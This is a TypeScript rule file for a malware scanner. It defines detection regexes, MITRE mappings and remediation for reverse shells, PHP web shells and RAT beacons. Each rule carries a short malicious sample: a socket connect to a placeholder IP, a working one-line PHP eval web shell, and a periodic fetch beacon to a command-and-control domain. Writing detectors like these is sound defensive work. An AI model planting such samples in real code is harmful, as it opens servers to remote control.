/**
 * #este archivo contiene reglas para detectar puertas traseras (backdoors) en el código malicioso.
 * WINDOS LO DE TECTE COMO VIRUS Y GRAVE 
 * @fileoverview Backdoor Detection Rules
 */

import {
  MalwareRule,
  MalwareThreatType,
  MalwareCategory,
  MalwareSeverity,
  ConfidenceLevel,
  SupportedLanguage,
  PatternType,
  MitreTactic
} from '../types';

export const reverseShellRules: MalwareRule[] = [
  {
    id: 'MAL-BACK-001',
    name: 'Reverse Shell - Socket Connection',
    description: 'Detects socket-based reverse shell patterns.',
    version: '2.0.0',
    threatType: MalwareThreatType.REVERSE_SHELL,
    category: MalwareCategory.BACKDOOR,
    languages: [SupportedLanguage.PYTHON, SupportedLanguage.JAVASCRIPT],
    severity: MalwareSeverity.CRITICAL,
    confidence: ConfidenceLevel.HIGH,
    baseScore: 95,
    patterns: [
      {
        type: PatternType.REGEX,
        patternId: 'socket-connect-ip',
        pattern: 'socket\\.connect\\s*\\(\\s*\\(?[\'\"]*\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}',
        flags: 'gi',
        weight: 1.0,
        description: 'Socket connection to IP'
      }
    ],
    maliciousExamples: [{
      code: 's = socket.socket(); s.connect((\"1.2.3.4\", 4444))',
      language: SupportedLanguage.PYTHON,
      isMalicious: true,
      description: 'Python reverse shell'
    }],
    impact: {
      technical: 'Shell access to attackers.',
      business: 'Complete compromise.',
      affectedAssets: ['Server'],
      dataAtRisk: ['All data']
    },
    remediation: {
      summary: 'Remove reverse shell code.',
      steps: ['Remove code', 'Audit system']
    },
    mitreAttack: [{
      tacticId: MitreTactic.EXECUTION,
      tacticName: 'Execution',
      techniqueId: 'T1059',
      techniqueName: 'Command Interpreter',
      url: 'https://attack.mitre.org/techniques/T1059/'
    }],
    tags: ['backdoor', 'reverse-shell', 'critical'],
    enabled: true
  }
];

export const webShellRules: MalwareRule[] = [
  {
    id: 'MAL-BACK-010',
    name: 'PHP Web Shell',
    description: 'Detects PHP web shells.',
    version: '2.0.0',
    threatType: MalwareThreatType.WEB_SHELL,
    category: MalwareCategory.BACKDOOR,
    languages: [SupportedLanguage.PHP],
    severity: MalwareSeverity.CRITICAL,
    confidence: ConfidenceLevel.HIGH,
    baseScore: 96,
    patterns: [
      {
        type: PatternType.REGEX,
        patternId: 'php-webshell',
        pattern: '\\$_(?:GET|POST|REQUEST).*(?:eval|exec|system|passthru)',
        flags: 'gis',
        weight: 1.0,
        description: 'User input to command execution'
      }
    ],
    maliciousExamples: [{
      code: '<?php @eval($_POST[\"c\"]); ?>',
      language: SupportedLanguage.PHP,
      isMalicious: true,
      description: 'PHP web shell'
    }],
    impact: {
      technical: 'Remote command execution.',
      business: 'Server compromise.',
      affectedAssets: ['Web server'],
      dataAtRisk: ['Server files']
    },
    remediation: {
      summary: 'Remove web shell.',
      steps: ['Remove file', 'Audit web root']
    },
    mitreAttack: [{
      tacticId: MitreTactic.PERSISTENCE,
      tacticName: 'Persistence',
      techniqueId: 'T1505',
      techniqueName: 'Web Shell',
      url: 'https://attack.mitre.org/techniques/T1505/'
    }],
    tags: ['webshell', 'php', 'critical'],
    enabled: true
  }
];

export const ratRules: MalwareRule[] = [
  {
    id: 'MAL-BACK-020',
    name: 'RAT Beacon Pattern',
    description: 'Detects RAT beacon patterns.',
    version: '2.0.0',
    threatType: MalwareThreatType.RAT,
    category: MalwareCategory.BACKDOOR,
    languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.PYTHON],
    severity: MalwareSeverity.CRITICAL,
    confidence: ConfidenceLevel.HIGH,
    baseScore: 90,
    patterns: [
      {
        type: PatternType.REGEX,
        patternId: 'beacon-interval',
        pattern: 'setInterval.*(?:fetch|XMLHttpRequest).*(?:60000|300000)',
        flags: 'gis',
        weight: 0.9,
        description: 'Periodic network requests'
      }
    ],
    maliciousExamples: [{
      code: 'setInterval(() => fetch(\"https://c2.com/beacon\"), 60000);',
      language: SupportedLanguage.JAVASCRIPT,
      isMalicious: true,
      description: 'Beacon'
    }],
    impact: {
      technical: 'Full remote access.',
      business: 'Complete compromise.',
      affectedAssets: ['System'],
      dataAtRisk: ['All data']
    },
    remediation: {
      summary: 'Remove RAT.',
      steps: ['Disconnect', 'Remove code']
    },
    mitreAttack: [{
      tacticId: MitreTactic.COMMAND_AND_CONTROL,
      tacticName: 'Command and Control',
      techniqueId: 'T1071',
      techniqueName: 'Application Layer Protocol',
      url: 'https://attack.mitre.org/techniques/T1071/'
    }],
    tags: ['rat', 'backdoor', 'critical'],
    enabled: true
  }
];

export const backdoorRules: MalwareRule[] = [
  ...reverseShellRules,
  ...webShellRules,
  ...ratRules
];

export default backdoorRules;